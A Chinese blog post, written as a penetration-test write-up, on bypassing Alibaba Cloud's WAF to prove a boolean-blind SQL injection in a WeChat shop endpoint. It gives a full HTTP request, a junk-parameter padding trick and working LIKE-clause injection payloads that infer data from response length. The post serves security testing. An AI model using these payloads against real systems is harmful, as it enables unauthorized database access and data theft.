【奇淫巧技】Bypass阿里云注入
序言
我:摸鱼一时爽,一直摸鱼一时爽啊:relieved:
大佬:还摸鱼,快来搞个注入。
我:。。。
拿到数据包
GET /wxapp.php?i=undefined&t=undefined&v=undefined&from=wxapp&c=entry&a=wxapp&do=index&m=lionfish_comshop&sign=9cc540f4c25c15a1a30ae983d9f28c5d&controller=index.load_condition_goodslist&token=6e4f1c83854ca18c8e4858170a559305&pageNum=1&head_id=550.0and+(CONNECTION_ID()+like+'1')&keyword=a&type=0&good_ids=&gid=0 HTTP/1.1
Host: www.xxx.com
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36 MicroMessenger/7.0.9.501 NetType/WIFI MiniProgramEnv/Windows WindowsWechat
content-type: application/x-www-form-urlencoded
这不是已经payload都有了么,有啥问题么,burp走起

好吧,原来是阿里云waf,开搞,大佬说要出数据证明注入。
0x01 判断数据库
既然注入点已经有了,先看看是啥数据库呗,结果尝试好多函数全都GG,user()、user、length()、len()、if全被拦,一拦一个准。。
既然常规函数不得行,那随便搞个函数看看:
payload:
550.0and+(1()+like+'1')

诶嘿,报错了,MySQL数据库。
知道是啥数据库,那就好办了。
0x02 绕waf
既然是MySQL数据库,那就可以开始构造条件判断了,可是把笔记里的payload一顿梭,全都被waf拦了,居然没一个能用的,只能找找看有没有什么骚姿势了,于是,,,
有啥不懂问度娘:

这篇文章提到可以用垃圾数据进行混淆,测试一下,我们这个站POST提交也可以,于是开搞。
打开sublime,复制粘贴运行,200个垃圾数据键值对就出来了,复制到burp,wtf?还是被拦了。
难道是键值对太少了?继续,忘了复制粘贴多少次了,后面测试的时候length()居然可以了。(前面一直被拦)
payload:
550.0 and+(length(1)+like+'1')

说明垃圾数据生效了,继续
0x03 更换参数
既然waf也绕过了,也就继续构造条件判断语句。可是。。。
后面发现不管语句判断正确与否,只要语法是正确的,返回结果都是一样的。
于是查看原先的参数,发现keyword参数才是查询的字段,会影响查询返回内容。
keyword=a


keyword=b

于是对keyword参数进行注入。
payload:
keyword=a'
返回内容中得到SQL语句:
%' and gc.begin_time 1603364903 and g.total > 0
也就是注入点是在like查询中。

payload:
a%25'or+length(1)=' 返回所有
a%25'and+length(1)=' 返回空
0x04 条件判断
找到可构造的点,开始构造条件判断
这里重新试了其他函数:if、case、user()、current_user也不行,还是会被拦,搞不懂。:weary:
payload:
a%25'or+ifnull(user()%20like'n%25',1)='%

后面发现ifnull不会被拦。
a%25'or+ifnull('ra'like'r%25',1)='% true
a%25'or+ifnull('1ra'like'r%25',1)='% false
根据返回内容长度判断条件查询成功。
条件ture的时候返回长度为:4027
条件false的时候返回长度为:3886
继续fuzz:然后在删掉括号时发现报错为字段错误:
payload:
a%25'or+ifnull(user%20like'n%25',1)='%

看到这个,想起cha牛说的可以用数据库中原本的数据来判断SQL注入,于是对字段进行爆破:
(参数字典可以用自己的也可以搜集这个站的参数进行爆破)

这里第一个price尝试的时候啥都没变化,于是换了第二个参数type

这里爆破的时候发现返回数据长度跟在repeat的时候不一样,经常在repeat模块验证,得到type的第一个字母为n,于是先判断type的长度为多少。
直接手工测试,因为爆破出来的结果很奇怪无法判断。(玄学)
payload:
a%25'or+ifnull/**/(length(type)=6,1)='%
还好长度不长,只试到6就出来了。
接着继续爆破type的后5位(纯手工。。。)
得到最终结果:tyep=normal
最终payload:
a%25'or+ifnull(type='normal',1)='%

到这里就成功绕过阿里云waf,利用数据库原有的数据证明该注入存在且可利用了。
尾声
我:完事,来一支事后烟。
我:忘了我不抽烟了。
我:继续摸鱼
笨鸟先飞早入林,笨人勤学早成材。 转载请注明出处:
撰写人:fox-yu http://www.cnblogs.com/fox-yu/
【奇淫巧技】Bypass阿里云注入的更多相关文章
- [asp.net mvc 奇淫巧技] 01 - 封装上下文 - 在View中获取自定义的上下文
我们在asp.net 开发中已经封装了最强大的HttpContext,我们可以在HttpContext中可以获取到几乎任何想获取的东西,也可以在HttpContext写入需要返回客户端的信息.但是这些 ...
- [asp.net mvc 奇淫巧技] 02 - 巧用Razor引擎在Action内生成Html代码
在web开发中经常会遇到在内部代码中获取Html,这些Html是需要和数据进行一起渲染.并不是直接把Html代码返回给客户端.这样的做法有很多应用场景,例如分页.Ajax一次性获取几段Html片段.生 ...
- [asp.net mvc 奇淫巧技] 03 - 枚举特性扩展解决枚举命名问题和支持HtmlHelper
一.需求 我们在开发中经常会遇到一些枚举,而且这些枚举类型可能会在表单中的下拉中,或者单选按钮中会用到等. 这样用是没问题的,但是用过的人都知道一个问题,就是枚举的命名问题,当然有很多人枚举直接中文命 ...
- [asp.net mvc 奇淫巧技] 04 - 你真的会用Action的模型绑定吗?
在QQ群或者一些程序的交流平台,经常会有人问:我怎么传一个数组在Action中接收.我传的数组为什么Action的model中接收不到.或者我在ajax的data中设置了一些数组,为什么后台还是接收不 ...
- [javascript 实践篇]——那些你不知道的“奇淫巧技”
1. 空(null, undefined)验证 刚开始,我是比较蠢的验证(我还真是这样子验证的) if (variable1 !== null || variable1 !== undefined | ...
- [asp.net mvc 奇淫巧技] 05 - 扩展ScriptBundle,支持混淆加密javascript
一.需求: 在web开发中,经常会处理javascript的一些问题,其中就包括js的压缩,合并,发布版本以及混淆加密等等问题.在asp.net 开发中我们使用ScriptBundle已经可以解决ja ...
- [asp.net mvc 奇淫巧技] 06 - 也许你的项目同一个用户的请求都是同步的
一.感慨 很久前看到一篇博客中有句话大致的意思是:“asp.net 程序性能低下的主要原因是开发人员技术参差不齐”,当时看到这句话不以为然,然而时间过的越久接触的.net 开发人员越多就越认同这句话: ...
- ASP.NET Core 奇淫技巧之伪属性注入
一.前言 开局先唠嗑一下,许久未曾更新博客,一直在调整自己的状态,去年是我的本命年,或许是应验了本命年的多灾多难,过得十分不顺,不论是生活上还是工作上.还好当我度过了所谓的本命年后,许多事情都在慢慢变 ...
- (转)javascript 奇淫巧技44招
1.首次为变量赋值时务必使用var关键字 变量没有声明而直接赋值得话,默认会作为一个新的全局变量,要尽量避免使用全局变量. 2.使用===取代== ==和!=操作符会在需要的情况下自动转换数据类型.但 ...
随机推荐
- Dubbo 就是靠它崭露头角!(身为开源框架很重要的一点)
Hola,我是 yes. 经过了 RPC 核心和 Dubbo 微内核两篇文章后,今天终于要稍稍深入一波 Dubbo 了. 作为一个通用的 RPC 框架,性能是很重要的一环,而易用性和扩展性也极为重要. ...
- C# 修改PNG图片metadata信息 (含转载fancyblogs博文)
WPF中使用 metadata-extractor可以轻松获取 PNG图片metadata信息 NuGet 获取地址: PM> Install-Package MetadataExtractor ...
- jquery表格插件Datatables使用、快速上手
Datatables使用 一.简介 官网:https://datatables.net/ 中文官网:http://datatables.club/ Datatables是一款jquery表格插件.它是 ...
- 【ORA】ORA-01078和LRM-00109 解决方法
今天切换到asm实例的时候,发现是一个空实例,尝试启动实例,结果报错ORA-01078和LRM-00109 SQL> startupORA-01078: failure in processin ...
- 【TOMCAT】windows7下tomcat6环境部署
首先,下载一个tomcat6的部署包 地址http://download.csdn.net/download/imliuqun123/10156942 需要部署安装的win7环境变量: 1.jdk环境 ...
- 【九阳神功】Nessus 8_VM不限IP及AWVS破解版合体部署
Nessus 8下载地址: https://moehu-my.sharepoint.com/personal/ximcx_moebi_org/_layouts/15/download.aspx?Sou ...
- Ice框架介绍
概述 Ice是一个开源的综合性RPC框架,以高性能和原生支持微服务的架构而著称.提供了很多可以直接使用的组件,如注册中心IceGrid,部署工具IcePatch2,防火墙穿透Glacier2,发布订阅 ...
- linux自定义安装位置安装jdk
注:本文系参考网络内容及本人实践得出 1 下载jdk安装包 下载地址:https://www.oracle.com/java/technologies/javase/javase-jdk8-downl ...
- pyinstaller打包shotgun有关的程序
By 鬼猫猫 http://www.cnblogs.com/muyr/ 背景 使用pyinstaller打包跟shotgun有关的程序后,在自己电脑上运行都OK,但是编译好的exe在其他人的电脑上运行 ...
- Py变量,递归,作用域,匿名函数
局部变量与全局变量 全局变量:全局生效的变量,在顶头的,无缩进的定义的变量. 局部变量:函数内生效的变量,在函数内定义的变量. name='1fh' def changename(): name='s ...